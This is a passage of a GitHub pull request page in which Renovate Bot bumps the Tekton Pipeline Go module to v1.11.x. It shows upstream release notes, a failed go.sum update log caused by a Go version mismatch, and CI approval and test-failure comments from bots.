  • 🐛 fix: record metrics for cancelled PipelineRuns (#​9658)
  • 🐛 Add explicit permissions blocks to workflows missing them (#​9562)
  • 🐛 fix: revert mistaken metadata changes in resolvers config-observability (#​9468)
  • 🐛 fix: update default tracing endpoint to http protobuf endpoint (#​9141)
  • 🐛 fix: Pin Ubuntu,Bash,Python, Node & Perl container images to digests in examples/v1/taskruns/step-script.yaml (#​9618)
  • 🐛 fix: Pin alpine-git-nonroot,alpine/git,busybox & nop container images to digests in examples/v1/taskruns (#​9614)
  • 🐛 fix: Pin Bash,Alpine & Busybox container images to digests in examples/v1/taskruns (#​9610)
  • 🐛 fix: Pin Ubuntu container images to digests in examples/v1/taskruns (#​9607)
Misc
  • 🔨 perf(pipelinerun): hoist VerificationPolicy list out of per-task loop in resolvePipelineState (#​9601)

  • 🔨 ci: fix GitHub Actions security issues found by zizmor (#​9667)

  • 🔨 Extract memberOfLookup from createChildResourceLabels to reduce nested loop (#​9596)

  • 🔨 cleanup: replace GCS release URLs with infra.tekton.dev (#​9569)

  • 🔨 fix: Upgrade Gitea test infrastructure from v1.17.1 to latest (#​9568)

  • 🔨 chore: bump knative.dev/pkg to main and k8s libs to 0.35.1 (#​9470)

  • 🔨 Update stale comment about storing TaskSpec in status (#​9661)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9652)

  • 🔨 build(deps): bump github/codeql-action from 4.33.0 to 4.34.1 (#​9651)

  • 🔨 build(deps): bump actions/cache from 5.0.3 to 5.0.4 (#​9650)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.8 to 1.6.9 (#​9649)

  • 🔨 build(deps): bump github.com/spiffe/spire-api-sdk from 1.14.3 to 1.14.4 (#​9648)

  • 🔨 build(deps): bump k8s.io/apimachinery from 0.35.2 to 0.35.3 (#​9639)

  • 🔨 build(deps): bump k8s.io/client-go from 0.35.2 to 0.35.3 (#​9638)

  • 🔨 build(deps): bump k8s.io/api from 0.34.5 to 0.34.6 in /test/custom-task-ctrls/wait-task-beta (#​9637)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.5 to 0.34.6 in /test/custom-task-ctrls/wait-task-beta (#​9634)

  • 🔨 build(deps): bump github.com/spiffe/spire-api-sdk from 1.14.1 to 1.14.3 (#​9629)

  • 🔨 build(deps): bump google.golang.org/grpc from 1.79.2 to 1.79.3 (#​9628)

  • 🔨 build(deps): bump github.com/google/go-containerregistry from 0.21.2 to 0.21.3 (#​9627)

  • 🔨 build(deps): bump github.com/tektoncd/pipeline from 1.10.0 to 1.10.2 in /test/custom-task-ctrls/wait-task-beta (#​9626)

  • 🔨 build(deps): bump golang.org/x/sync from 0.19.0 to 0.20.0 (#​9611)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9587)

  • 🔨 build(deps): bump github/codeql-action from 4.32.6 to 4.33.0 (#​9586)

  • 🔨 build(deps): bump fgrosse/go-coverage-report from 1.2.0 to 1.3.0 (#​9585)

  • 🔨 build(deps): bump step-security/harden-runner from 2.15.1 to 2.16.0 (#​9584)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.7 to 1.6.8 (#​9583)

  • 🔨 Remove opencensus dependency from test files (#​9553)

  • 🔨 Update tj-actions/changed-files version comment to v47.0.5 (#​9552)

  • 🔨 build(deps): bump go.opentelemetry.io/otel/trace from 1.41.0 to 1.42.0 (#​9549)

  • 🔨 build(deps): bump github.com/google/go-containerregistry from 0.21.1 to 0.21.2 (#​9548)

  • 🔨 build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.2 (#​9547)

  • 🔨 build(deps): bump step-security/harden-runner from 2.15.0 to 2.15.1 (#​9542)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9541)

  • 🔨 build(deps): bump tj-actions/changed-files from 47.0.4 to 47.0.5 (#​9540)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.5 to 1.6.7 (#​9539)

  • 🔨 build(deps): bump github/codeql-action from 4.32.5 to 4.32.6 (#​9538)

  • 🔨 build(deps): bump actions/dependency-review-action from 4.8.3 to 4.9.0 (#​9536)

  • 🔨 Nominate khrm and aThorp96 as pipeline approvers (#​9519)

  • 🔨 Move inactive approvers to alumni (#​9518)

  • 🔨 build(deps): bump k8s.io/apiextensions-apiserver from 0.35.1 to 0.35.2 (#​9487)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9483)

  • 🔨 build(deps): bump github/codeql-action from 4.32.4 to 4.32.5 (#​9482)

  • 🔨 build(deps): bump step-security/harden-runner from 2.14.2 to 2.15.0 (#​9481)

  • 🔨 build(deps): bump actions/setup-go from 6.2.0 to 6.3.0 (#​9480)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.4 to 1.6.5 (#​9479)

  • 🔨 build(deps): bump actions/upload-artifact from 6.0.0 to 7.0.0 (#​9478)

  • 🔨 build(deps): bump go.opentelemetry.io/otel/metric from 1.40.0 to 1.41.0 (#​9477)

  • 🔨 build(deps): bump k8s.io/apimachinery from 0.35.1 to 0.35.2 (#​9476)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.3 to 0.34.5 in /test/custom-task-ctrls/wait-task-beta (#​9475)

  • 🔨 build(deps): bump k8s.io/code-generator from 0.35.1 to 0.35.2 (#​9473)

  • 🔨 build(deps): bump k8s.io/api from 0.34.3 to 0.34.5 in /test/custom-task-ctrls/wait-task-beta (#​9472)

  • 🔨 build(deps): bump k8s.io/apiextensions-apiserver from 0.34.3 to 0.34.5 (#​9455)

  • 🔨 build(deps): bump github.com/tektoncd/pipeline from 1.9.1 to 1.10.0 in /test/custom-task-ctrls/wait-task-beta (#​9453)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.3 to 0.34.4 (#​9447)

  • 🔨 build(deps): bump go.opentelemetry.io/otel/trace from 1.39.0 to 1.40.0 (#​9445)

  • 🔨 fix: release cheat sheet doc typos (#​9415)

Docs
  • 📖 Re-enable pipeline-api.md generation (#​9604)

Update the pipeline API published at https://tekton.dev/docs/pipelines/pipeline-api/

  • 📖 docs(auth): clean stale TODO (#​9504)

Clean up stale TODO in auth.md

  • 📖 doc: Clarify scope of auth documentation (#​9461)

Added auth doc scope to distinguish credentials for processes inside Steps from Kubernetes imagePullSecrets for pulling Step images.

  • 📖 docs: update releases.md with security patch releases (#​9616)
  • 📖 docs: add 4 undocumented metrics to docs/metrics.md (#​9512)
  • 📖 docs: fix broken internal markdown links (#​9507)
  • 📖 docs: add README files for pipelinerun and taskrun examples (#​9505)
  • 📖 doc: Fix broken Tekton Bundles example link in taskruns.md (#​9462)
  • 📖 docs: update releases.md for v1.10.0 (#​9448)

Thanks

Thanks to these contributors who contributed to v1.11.0!


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@redhat-renovate-bot redhat-renovate-bot added the release-note-none Denotes a PR that doesn't merit a release note. label Apr 21, 2026
@redhat-renovate-bot
Copy link
Copy Markdown
Collaborator Author

redhat-renovate-bot commented Apr 21, 2026

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: go.sum
Command failed: go get -t ./...
go: downloading github.com/alexflint/go-arg v1.5.1
go: downloading go.uber.org/zap v1.27.1
go: downloading k8s.io/apimachinery v0.35.3
go: downloading github.com/onsi/ginkgo/v2 v2.27.2
go: downloading kubevirt.io/client-go v1.7.0
go: downloading github.com/google/go-containerregistry v0.21.3
go: downloading github.com/onsi/gomega v1.38.2
go: downloading kubevirt.io/api v1.7.0
go: downloading k8s.io/api v0.35.3
go: downloading go.uber.org/mock v0.5.1
go: downloading sigs.k8s.io/yaml v1.6.0
go: downloading k8s.io/client-go v0.33.5
go: downloading kubevirt.io/kubevirt v1.7.1
go: downloading kubevirt.io/containerdisks v0.0.0-20241001085853-ea2e8bf50322
go: downloading kubevirt.io/containerized-data-importer-api v1.63.1
go: downloading k8s.io/cli-runtime v0.32.5
go: downloading kubevirt.io/containerized-data-importer v1.63.1
go: downloading github.com/alexflint/go-scalar v1.2.0
go: downloading github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
go: downloading go.yaml.in/yaml/v2 v2.4.3
go: downloading go.uber.org/multierr v1.11.0
go: downloading github.com/google/uuid v1.6.0
go: downloading k8s.io/apiextensions-apiserver v0.35.2
go: downloading k8s.io/utils v0.0.0-20251002143259-bc988d571ff4
go: downloading github.com/google/go-cmp v0.7.0
go: downloading github.com/openshift/client-go v0.0.0-20240528061634-b054aa794d87
go: downloading github.com/spf13/pflag v1.0.10
go: downloading github.com/go-logr/logr v1.4.3
go: downloading github.com/docker/cli v29.3.0+incompatible
go: downloading github.com/mitchellh/go-homedir v1.1.0
go: downloading golang.org/x/sync v0.20.0
go: downloading github.com/containerd/stargz-snapshotter/estargz v0.18.2
go: downloading sigs.k8s.io/randfill v1.0.0
go: downloading github.com/tektoncd/pipeline v1.11.1
go: downloading knative.dev/pkg v0.0.0-20260318013857-98d5a706d4fd
go: downloading kubevirt.io/qe-tools v0.1.8
go: downloading k8s.io/klog/v2 v2.130.1
go: downloading k8s.io/kube-openapi v0.0.0-20240709000822-3c01b740850f
go: downloading sigs.k8s.io/structured-merge-diff/v6 v6.3.0
go: downloading kubevirt.io/controller-lifecycle-operator-sdk/api v0.2.4
go: downloading gopkg.in/inf.v0 v0.9.1
go: downloading github.com/google/gnostic-models v0.7.0
go: downloading golang.org/x/text v0.35.0
go: downloading sigs.k8s.io/kustomize/api v0.19.0
go: downloading sigs.k8s.io/kustomize/kyaml v0.19.0
go: downloading go.yaml.in/yaml/v3 v3.0.4
go: downloading golang.org/x/net v0.52.0
go: downloading github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822
go: downloading google.golang.org/protobuf v1.36.11
go: downloading golang.org/x/term v0.41.0
go: downloading github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674
go: downloading gopkg.in/evanphx/json-patch.v4 v4.13.0
go: downloading sigs.k8s.io/structured-merge-diff/v4 v4.6.0
go: downloading github.com/Masterminds/semver/v3 v3.4.0
go: downloading golang.org/x/sys v0.42.0
go: downloading github.com/opencontainers/go-digest v1.0.0
go: downloading github.com/docker/distribution v2.8.3+incompatible
go: downloading github.com/opencontainers/image-spec v1.1.1
go: downloading github.com/klauspost/compress v1.18.4
go: downloading sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730
go: downloading github.com/vbatts/tar-split v0.12.2
go: downloading github.com/openshift/api v0.0.0-20240722135205-ae4f370f361f
go: downloading github.com/json-iterator/go v1.1.12
go: downloading github.com/openshift/custom-resource-status v1.1.2
go: downloading github.com/sirupsen/logrus v1.9.4
go: downloading github.com/spf13/cobra v1.10.2
go: downloading golang.org/x/time v0.14.0
go: downloading github.com/fxamacker/cbor/v2 v2.9.0
go: downloading golang.org/x/oauth2 v0.36.0
go: downloading github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2
go: downloading github.com/kubernetes-csi/external-snapshotter/client/v4 v4.2.0
go: downloading github.com/go-kit/log v0.2.1
go: downloading github.com/k8snetworkplumbingwg/network-attachment-definition-client v1.7.5
go: downloading github.com/prometheus-operator/prometheus-operator/pkg/apis/monitoring v0.80.1
go: downloading k8s.io/apiserver v0.35.2
go: downloading github.com/go-openapi/swag v0.23.0
go: downloading github.com/google/gofuzz v1.2.0
go: downloading github.com/go-openapi/jsonreference v0.21.0
go: downloading golang.org/x/tools v0.43.0
go: downloading github.com/go-task/slim-sprig/v3 v3.0.0
go: downloading github.com/google/cel-go v0.27.0
go: downloading github.com/sigstore/sigstore v1.10.4
go: downloading go.opentelemetry.io/otel v1.42.0
go: downloading github.com/docker/docker-credential-helpers v0.9.3
go: downloading github.com/golang/protobuf v1.5.4
go: downloading github.com/inconshreveable/mousetrap v1.1.0
go: downloading github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd
go: downloading github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee
go: downloading github.com/x448/float16 v0.8.4
go: downloading github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc
go: downloading github.com/blang/semver/v4 v4.0.0
go: downloading github.com/go-errors/errors v1.5.1
go: downloading github.com/go-logfmt/logfmt v0.6.0
go: downloading gopkg.in/yaml.v2 v2.4.0
go: downloading gopkg.in/yaml.v3 v3.0.1
go: downloading github.com/mailru/easyjson v0.9.1
go: downloading github.com/google/pprof v0.0.0-20250403155104-27863c87afa6
go: downloading github.com/go-openapi/jsonpointer v0.21.0
go: downloading github.com/emicklei/go-restful/v3 v3.12.2
go: downloading github.com/cloudevents/sdk-go/v2 v2.16.2
go: downloading github.com/hashicorp/golang-lru v1.0.2
go: downloading github.com/blendle/zapdriver v1.3.1
go: downloading go.opentelemetry.io/otel/trace v1.42.0
go: downloading github.com/secure-systems-lab/go-securesystemslib v0.9.1
go: downloading github.com/sigstore/protobuf-specs v0.5.0
go: downloading k8s.io/kube-aggregator v0.32.5
go: downloading github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00
go: downloading cel.dev/expr v0.25.1
go: downloading github.com/xlab/treeprint v1.2.0
go: downloading google.golang.org/genproto/googleapis/api v0.0.0-20260209200024-4cfbd4190f57
go: downloading github.com/evanphx/json-patch/v5 v5.9.11
go: downloading gomodules.xyz/jsonpatch/v2 v2.5.0
go: downloading github.com/josharian/intern v1.0.0
go: downloading github.com/kelseyhightower/envconfig v1.4.0
go: downloading go.opentelemetry.io/otel/metric v1.42.0
go: downloading go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.67.0
go: downloading github.com/evanphx/json-patch v5.9.11+incompatible
go: downloading golang.org/x/crypto v0.49.0
go: downloading github.com/gogo/protobuf v1.3.2
go: downloading sigs.k8s.io/controller-runtime v0.20.2
go: downloading github.com/antlr4-go/antlr/v4 v4.13.1
go: downloading google.golang.org/genproto/googleapis/rpc v0.0.0-20260209200024-4cfbd4190f57
go: downloading github.com/felixge/httpsnoop v1.0.4
go: downloading golang.org/x/exp v0.0.0-20250210185358-939b2ce775ac
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.42.0
go: downloading github.com/prometheus/otlptranslator v1.0.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.42.0
go: downloading go.opentelemetry.io/otel/exporters/prometheus v0.64.0
go: downloading go.opentelemetry.io/otel/sdk/metric v1.42.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.42.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.42.0
go: downloading go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.42.0
go: downloading go.opentelemetry.io/otel/sdk v1.42.0
go: downloading go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.42.0
go: downloading github.com/prometheus/client_golang v1.23.2
go: downloading github.com/google/btree v1.1.3
go: downloading go.opentelemetry.io/proto/otlp v1.9.0
go: downloading google.golang.org/grpc v1.80.0
go: downloading github.com/prometheus/client_model v0.6.2
go: downloading github.com/go-logr/stdr v1.2.2
go: downloading go.opentelemetry.io/auto/sdk v1.2.1
go: downloading github.com/cespare/xxhash/v2 v2.3.0
go: downloading github.com/cenkalti/backoff/v5 v5.0.3
go: downloading github.com/grpc-ecosystem/grpc-gateway/v2 v2.28.0
go: downloading github.com/prometheus/common v0.67.5
go: downloading github.com/beorn7/perks v1.0.1
go: downloading github.com/prometheus/procfs v0.19.2
go: downloading golang.org/x/mod v0.34.0
go: downloading k8s.io/api v0.36.0
go: k8s.io/api@v0.36.0 requires go >= 1.26.0 (running go 1.25.8)
go: k8s.io/api@v0.36.0 requires go >= 1.26.0 (running go 1.25.8)

@kubevirt-bot kubevirt-bot added the dco-signoff: yes Indicates the PR's author has DCO signed all their commits. label Apr 21, 2026
@openshift-ci openshift-ci Bot requested review from akrejcir and ksimon1 April 21, 2026 20:15
@openshift-ci
Copy link
Copy Markdown

openshift-ci Bot commented Apr 21, 2026

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: redhat-renovate-bot
Once this PR has been reviewed and has the lgtm label, please assign 0xfelix for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@kubevirt-bot
Copy link
Copy Markdown
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
Once this PR has been reviewed and has the lgtm label, please assign 0xfelix for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/main-go-github.com-tektoncd-pipeline-vulnerability branch from 3b6a2b5 to a1ee7f9 Compare April 22, 2026 04:18
@redhat-renovate-bot redhat-renovate-bot changed the title chore(deps): update module github.com/tektoncd/pipeline to v1.11.0 [security] (main) chore(deps): update module github.com/tektoncd/pipeline to v1.11.1 [security] (main) Apr 22, 2026
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/main-go-github.com-tektoncd-pipeline-vulnerability branch from a1ee7f9 to f3ca379 Compare April 25, 2026 16:04
@redhat-renovate-bot redhat-renovate-bot changed the title chore(deps): update module github.com/tektoncd/pipeline to v1.11.1 [security] (main) chore(deps): update module github.com/tektoncd/pipeline to v1.11.0 [security] (main) Apr 25, 2026
…ecurity]

Signed-off-by: null <redhat-internal-renovate@redhat.com>
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/main-go-github.com-tektoncd-pipeline-vulnerability branch from f3ca379 to 4477761 Compare April 25, 2026 20:16
@redhat-renovate-bot redhat-renovate-bot changed the title chore(deps): update module github.com/tektoncd/pipeline to v1.11.0 [security] (main) chore(deps): update module github.com/tektoncd/pipeline to v1.11.1 [security] (main) Apr 25, 2026
@openshift-ci
Copy link
Copy Markdown

openshift-ci Bot commented Apr 25, 2026

@redhat-renovate-bot: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name Commit Details Required Rerun command
ci/prow/unit-tests 4477761 link true /test unit-tests
ci/prow/images 4477761 link true /test images
ci/prow/e2e-tests 4477761 link true /test e2e-tests

Full PR test history. Your PR dashboard.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. I understand the commands that are listed here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dco-signoff: yes Indicates the PR's author has DCO signed all their commits. release-note-none Denotes a PR that doesn't merit a release note. size/XS

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants